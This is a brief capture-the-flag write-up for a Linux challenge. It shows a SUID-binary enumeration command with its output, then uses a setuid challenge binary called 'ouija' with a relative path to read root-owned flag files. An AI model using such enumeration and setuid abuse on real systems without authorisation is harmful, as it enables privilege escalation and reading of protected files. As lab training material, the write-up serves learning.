Tags: linux 

Rating:

run command to check binaries that ran as root

```
find / -perm -u=s 2>/dev/null
```

outputed:

```
luciafer@b2e7e490a680:~$ find / -perm -u=s 2>/dev/null
/usr/bin/umount
/usr/bin/passwd
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/chfn
/usr/local/bin/ouija
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
```

use ouija to print out flags, worked for flag3.txt (view below) and and flag4.txt in (/root/flag4.txt)

`/usr/local/bin/ouija ../home/spookyboi/Documents/flag3.txt `